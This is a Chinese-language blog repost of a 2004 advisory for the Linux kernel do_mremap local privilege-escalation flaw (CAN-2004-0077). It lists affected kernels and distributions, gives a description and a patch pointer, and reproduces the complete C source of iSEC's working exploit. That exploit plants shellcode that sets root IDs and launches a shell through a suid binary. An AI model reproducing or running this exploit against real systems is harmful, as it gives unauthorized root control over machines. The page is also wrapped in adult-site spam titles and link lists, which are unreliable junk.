青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

Linux Kernel do_mremap VMA本地權限提升漏洞

日期:2004-03-05

發布日期:2004-02-18
更新日期:2004-03-03

受影響系統:
Linux kernel 2.6.2
Linux kernel 2.6.1
Linux kernel 2.6
Linux kernel 2.4.9
Linux kernel 2.4.8
Linux kernel 2.4.7
Linux kernel 2.4.6
Linux kernel 2.4.5
Linux kernel 2.4.4
Linux kernel 2.4.3
Linux kernel 2.4.24
Linux kernel 2.4.23
Linux kernel 2.4.22
Linux kernel 2.4.21
Linux kernel 2.4.20
Linux kernel 2.4.2
Linux kernel 2.4.19
Linux kernel 2.4.17
Linux kernel 2.4.16
Linux kernel 2.4.15
Linux kernel 2.4.14
Linux kernel 2.4.13
Linux kernel 2.4.12
Linux kernel 2.4.11
Linux kernel 2.4.10
Linux kernel 2.4.1
Linux kernel 2.4
Linux kernel 2.2.9
Linux kernel 2.2.8
Linux kernel 2.2.7
Linux kernel 2.2.6
Linux kernel 2.2.5
Linux kernel 2.2.4
Linux kernel 2.2.3
Linux kernel 2.2.25
Linux kernel 2.2.24
Linux kernel 2.2.23
Linux kernel 2.2.22
Linux kernel 2.2.21
Linux kernel 2.2.20
Linux kernel 2.2.2
Linux kernel 2.2.19
Linux kernel 2.2.18
Linux kernel 2.2.17
Linux kernel 2.2.16
Linux kernel 2.2.15
Linux kernel 2.2.14
Linux kernel 2.2.13
Linux kernel 2.2.12
Linux kernel 2.2.11
Linux kernel 2.2.10
Linux kernel 2.2.1
Linux kernel 2.2
Linux kernel 2.4.18
    - Conectiva Linux 8.0
    - Conectiva Linux 7.0
    - Debian Linux 3.0
    - Mandrake Linux 8.2
    - Mandrake Linux 8.1
    - RedHat Linux 8.0
    - RedHat Linux 7.3
    - Slackware Linux 8.1
    - Slackware Linux 8.0
    - SuSE Linux 8.2
    - SuSE Linux 8.1
不受影響系統:
Linux kernel 2.6.3
Linux kernel 2.4.25
Linux kernel 2.2.26
描述:
--------------------------------------------------------------------------------
CVE(CAN) ID: CAN-2004-0077

Linux是一款開放源代碼操作系統。

Linux內核中mremap(2)系統調用由于沒有對函數返回值進行檢查,本地攻擊者可以利用這個漏洞獲得root用戶權限。

mremap系統調用被應用程序用來改變映射區段(VMAs)的邊界地址。mremap()系統調用提供對已存在虛擬內存區域調整大小。從VMA區域移動部分虛擬內存到新的區域需要建立一個新的VMA描述符,也就是把由VMA描述的下面的頁面表條目(page table entries)從老的區域拷貝到進程頁表中新的位置。

要完成這個任務do_mremap代碼需要調用do_munmap()內部內核函數去清除在新位置中任何已經存在的內存映射,也就是刪除舊的虛擬內存映射。不幸的是代碼沒有對do_munmap()函數的返回值進行檢查,如果可用VMA描述符的最大數已經超出,那么函數調用就可能失敗。

isec利用這個漏洞通過頁表緩沖(page table cache)使包含在頁中的惡意指令被執行。詳細方法可參看如下地址:

http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt

<*來源:Paul Starzetz (paul@starzetz.de)
  
  鏈接:http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
*>

測試方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

Paul Starzetz (paul@starzetz.de)提供了如下測試方法:

/*
*
*    mremap missing do_munmap return check kernel exploit
*
*    gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
*    ./mremap_pte [suid] [[shell]]
*
*    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
*
*    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
*    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
*    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/utsname.h>

#include <asm/page.h>


#define str(s) #s
#define xstr(s) str(s)

//    this is for standard kernels with 3/1 split
#define STARTADDR    0x40000000
#define PGD_SIZE    (PAGE_SIZE * 1024)
#define VICTIM        (STARTADDR + PGD_SIZE)
#define MMAP_BASE    (STARTADDR + 3*PGD_SIZE)

#define DSIGNAL        SIGCHLD
#define CLONEFL        (DSIGNAL|CLONE_VFORK|CLONE_VM)

#define MREMAP_MAYMOVE    ( (1UL) << 0 )
#define MREMAP_FIXED    ( (1UL) << 1 )

#define __NR_sys_mremap    __NR_mremap


//    how many ld.so pages? this is the .text section length (like from cat    
//    /proc/self/maps) in pages
#define LINKERPAGES    0x14

//    suid victim
static char *suid="/bin/ping";

//    shell to start
static char *launch="/bin/bash";


_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,        
      ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
             unsigned long new_len, unsigned long flags,
             unsigned long new_addr);

static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
static int i, pid=0;
static char *env[2], *argv[2];
static ulong ret;


//    code to appear inside the suid image
static void suid_code(void)
{
__asm__(
    "        call    callme                \n"

//    setresuid(0, 0, 0), setresgid(0, 0, 0)
    "jumpme:    xorl    %ebx, %ebx            \n"
    "        xorl    %ecx, %ecx            \n"
    "        xorl    %edx, %edx            \n"
    "        xorl    %eax, %eax            \n"
    "        mov    $"xstr(__NR_setresuid)", %al    \n"
    "        int    $0x80                \n"
    "        mov    $"xstr(__NR_setresgid)", %al    \n"
    "        int    $0x80                \n"

//    execve(launch)
    "        popl    %ebx                \n"
    "        andl    $0xfffff000, %ebx        \n"
    "        xorl    %eax, %eax            \n"
    "        pushl    %eax                \n"
    "        movl    %esp, %edx            \n"
    "        pushl    %ebx                \n"
    "        movl    %esp, %ecx            \n"
    "        mov    $"xstr(__NR_execve)", %al    \n"
    "        int    $0x80                \n"

//    exit
    "        xorl    %eax, %eax            \n"
    "        mov    $"xstr(__NR_exit)", %al        \n"
    "        int    $0x80                \n"

    "callme:    jmp    jumpme                \n"
    );
}


static int suid_code_end(int v)
{
return v+1;
}


static inline void get_esp(void)
{
__asm__(
    "        movl    %%esp, %%eax            \n"
    "        andl    $0xfffff000, %%eax        \n"
    "        movl    %%eax, %0            \n"
    : : "m"(old_esp)
    );
}


static inline void cloneme(void)
{
__asm__(
    "        pusha                    \n"
    "        movl $("xstr(CLONEFL)"), %%ebx        \n"
    "        movl %%esp, %%ecx            \n"
    "        movl $"xstr(__NR_clone)", %%eax        \n"
    "        int  $0x80                \n"
    "        movl %%eax, %0                \n"
    "        popa                    \n"
    : : "m"(pid)
    );
}


static inline void my_execve(void)
{
__asm__(
    "        movl %1, %%ebx                \n"
    "        movl %2, %%ecx                \n"
    "        movl %3, %%edx                \n"
    "        movl $"xstr(__NR_execve)", %%eax    \n"
    "        int  $0x80                \n"
    : "=a"(ret)
    : "m"(suid), "m"(argv), "m"(env)
    );
}


static inline void pte_populate(unsigned addr)
{
unsigned r;
char *ptr;

    memset((void*)addr, 0x90, PAGE_SIZE);
    r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
    ptr = (void*) (addr + PAGE_SIZE);
    ptr -= r+1;
    memcpy(ptr, suid_code, r);
    memcpy((void*)addr, launch, strlen(launch)+1);
}


//    hit VMA limit & populate PTEs
static void exhaust(void)
{
//    mmap PTE donor
    t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
          MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
    if(MAP_FAILED==t)
        goto failed;

//    prepare shell code pages
    for(i=2; i<LINKERPAGES+1; i++)
        pte_populate(victim + PAGE_SIZE*i);
    i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
    if(i)
        goto failed;

//    lock unmap
    base = MMAP_BASE;
    cnt = 0;
    prot = PROT_READ;
    printf("\n"); fflush(stdout);
    for(;;) {
        t = mmap((void*)base, PAGE_SIZE, prot,
             MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
        if(MAP_FAILED==t) {
            if(ENOMEM==errno)
                break;
            else
                goto failed;
        }
        if( !(cnt%512) || cnt>65520 )
            printf("\r    MMAP #%d  0x%.8x - 0x%.8lx", cnt, base,
            base+PAGE_SIZE); fflush(stdout);
        base += PAGE_SIZE;
        prot ^= PROT_EXEC;
        cnt++;
    }

//    move PTEs & populate page table cache
    ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,    
             MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
    if(-1==ret)
        goto failed;

    munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
    t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,        
         PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
         0);
    if(MAP_FAILED==t)
        goto failed;

    *t = *((unsigned *)old_esp);
    munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
    printf("\n[+] Success\n\n"); fflush(stdout);
    return;

failed:
    printf("\n[-] Failed\n"); fflush(stdout);
    _exit(0);
}


static inline void check_kver(void)
{
static struct utsname un;
int a=0, b=0, c=0, v=0, e=0, n;

    uname(&un);
    n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
    if(n!=3 || a!=2) {
        printf("\n[-] invalid kernel version string\n");
        _exit(0);
    }

    if(b==2) {
        if(c<=25)
            v=1;
    }
    else if(b==3) {
        if(c<=99)
            v=1;
    }
    else if(b==4) {
        if(c>18 && c<=24)
            v=1, e=1;
        else if(c>24)
            v=0, e=0;
        else
            v=1, e=0;
    }
    else if(b==5 && c<=75)
        v=1, e=1;
    else if(b==6 && c<=2)
        v=1, e=1;

    printf("\n[+] kernel %s  vulnerable: %s  exploitable %s",
        un.release, v? "YES" : "NO", e? "YES" : "NO" );
    fflush(stdout);

    if(v && e)
        return;
    _exit(0);
}


int main(int ac, char **av)
{
//    prepare
    check_kver();
    memset(env, 0, sizeof(env));
    memset(argv, 0, sizeof(argv));
    if(ac>1) suid=av[1];
    if(ac>2) launch=av[2];
    argv[0] = suid;
    get_esp();

//    mmap & clone & execve
    exhaust();
    cloneme();
    if(!pid) {
        my_execve();
    } else {
        waitpid(pid, 0, 0);
    }

return 0;
}

建議:
--------------------------------------------------------------------------------
廠商補?。?br>
Linux
-----
目前廠商已經發布了升級補丁以修復這個安全問題,請到廠商的主頁下載:

http://www.kernel.org/


下載 

posted on 2007-06-01 03:10 葉子 閱讀(517) 評論(0)  編輯 收藏 引用 所屬分類: 網絡安全

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲国产精品va在线看黑人动漫| 国内一区二区在线视频观看| 亚洲美女淫视频| 久久中文字幕导航| 久久免费视频在线观看| 久久久www成人免费精品| 久久精品综合一区| 久久亚洲私人国产精品va媚药| 久久久久一本一区二区青青蜜月| 久久一二三国产| 欧美成人一二三| 亚洲另类视频| 亚洲欧美日韩国产成人| 久久精品视频网| 欧美成人免费视频| 欧美视频精品在线观看| 国产日韩在线播放| 亚洲精品视频在线看| 亚洲午夜精品国产| 久久天堂av综合合色| 亚洲国产精品久久精品怡红院| 日韩一级黄色av| 欧美一区二区三区在| 欧美成在线视频| 国产视频不卡| 国产毛片精品视频| 亚洲国产精品久久久久秋霞蜜臀| 亚洲一区中文| 国产精品久久一卡二卡| 一区二区在线看| 亚洲午夜女主播在线直播| 久久人人97超碰国产公开结果| 亚洲国产成人久久综合| 亚洲欧美激情四射在线日| 欧美成人一区二区三区在线观看 | 亚洲美女电影在线| 欧美一区二区高清| 亚洲国产成人tv| 久久国产免费| 国产精品综合色区在线观看| 亚洲精品裸体| 女女同性精品视频| 欧美在现视频| 国产欧美精品一区二区三区介绍| 亚洲毛片在线观看.| 麻豆国产精品777777在线| 亚洲主播在线观看| 欧美日韩亚洲国产精品| 亚洲人成绝费网站色www| 老色鬼久久亚洲一区二区| 亚洲欧美日韩区| 国产精品久久一级| 亚洲影视在线| 亚洲另类自拍| 欧美搞黄网站| 亚洲三级网站| 亚洲大胆视频| 欧美成人综合在线| 亚洲欧洲日本一区二区三区| 欧美成人在线影院| 久久在线视频在线| 亚洲欧洲午夜| 亚洲精品色图| 国产精品h在线观看| 亚洲一区二区三| 亚洲伊人色欲综合网| 国产精品入口尤物| 久久精品理论片| 久久精品视频在线播放| 精品99一区二区三区| 欧美va天堂| 欧美成人精品一区二区三区| 亚洲国产成人在线播放| 亚洲国产日韩美| 欧美日韩免费观看一区三区| 亚洲制服av| 欧美在线网址| 91久久夜色精品国产九色| 亚洲三级电影在线观看| 国产精品va在线| 亚洲精品欧美日韩| 欧美日韩免费观看一区二区三区| 亚洲免费成人av| 一本色道久久88综合日韩精品| 欧美日韩理论| 久久国产一区二区| 久久这里只精品最新地址| 亚洲精品午夜精品| 亚洲线精品一区二区三区八戒| 国产一区二区成人| 欧美黄网免费在线观看| 欧美日韩视频专区在线播放 | 亚洲国产二区| 一本色道久久综合亚洲精品高清 | 激情五月综合色婷婷一区二区| 女生裸体视频一区二区三区 | 亚洲第一区在线| 亚洲精品美女在线| 国产手机视频一区二区| 亚洲国产精品久久久久秋霞不卡 | 欧美激情自拍| 欧美一区不卡| 欧美日韩国产经典色站一区二区三区| 亚洲欧美怡红院| 免费久久99精品国产自| 亚洲女人av| 欧美成人激情视频免费观看| 欧美一区国产二区| 欧美日韩综合在线| 亚洲丁香婷深爱综合| 国产亚洲成人一区| 一区二区三区波多野结衣在线观看| 黄色av日韩| 欧美一级午夜免费电影| 亚洲一级特黄| 欧美另类99xxxxx| 欧美成人资源网| 国内精品免费在线观看| 亚洲一二三四久久| 国产精品乱子久久久久| 亚洲精品久久久久久下一站| 怡红院精品视频| 欧美一区二区网站| 午夜亚洲视频| 国产精品扒开腿做爽爽爽软件 | 国产精品久久久久久久久久免费| 免费久久99精品国产自在现线| 国产精品一区二区久久国产| 亚洲日本中文字幕区| 亚洲在线不卡| 亚洲女同精品视频| 欧美专区一区二区三区| 午夜视频一区在线观看| 欧美日韩在线亚洲一区蜜芽| 欧美激情中文不卡| 亚洲日本欧美在线| 免费在线一区二区| 麻豆精品视频| 亚洲福利视频一区二区| 久久久五月天| 欧美成人有码| 99视频精品全国免费| 欧美福利一区二区三区| 欧美高清视频一区| 亚洲啪啪91| 欧美日韩亚洲一区二区三区四区| 亚洲图片激情小说| 国产精品久久久久久久久久久久久久 | 久久精品国产99国产精品澳门| 久久九九99视频| 国内久久视频| 久久在线观看视频| 亚洲国产老妈| 一区二区三区久久网| 欧美视频二区| 亚洲欧美韩国| 麻豆av一区二区三区| 亚洲国产欧美一区二区三区久久| 欧美96在线丨欧| 这里只有精品丝袜| 久久久www成人免费无遮挡大片| 国产一区二区丝袜高跟鞋图片| 久久久国产精品一区二区中文 | 亚洲精品综合| 亚洲欧美乱综合| 精品不卡视频| 欧美日韩国产综合新一区| 一区二区三区久久久| 欧美专区在线| 亚洲精品美女91| 日韩午夜在线| 欧美激情一区二区在线| 在线一区二区视频| 猫咪成人在线观看| 亚洲天堂av高清| 在线日韩视频| 国产精品外国| 久久久之久亚州精品露出| 亚洲国产网站| 久久久97精品| 亚洲午夜久久久久久久久电影院 | 亚洲一区二区成人| 国产一区二区毛片| 欧美日韩视频在线| 久久婷婷丁香| 亚洲欧美成人一区二区在线电影| 欧美成人激情视频| 国产精品地址| 夜夜爽99久久国产综合精品女不卡| 亚洲欧美日韩国产成人精品影院| 在线免费观看成人网| 国产精品社区| 欧美日韩在线免费| 久久久之久亚州精品露出| 亚洲视频福利| 日韩视频三区| 亚洲高清视频在线观看| 美女黄毛**国产精品啪啪| 欧美一区三区二区在线观看| 正在播放欧美一区|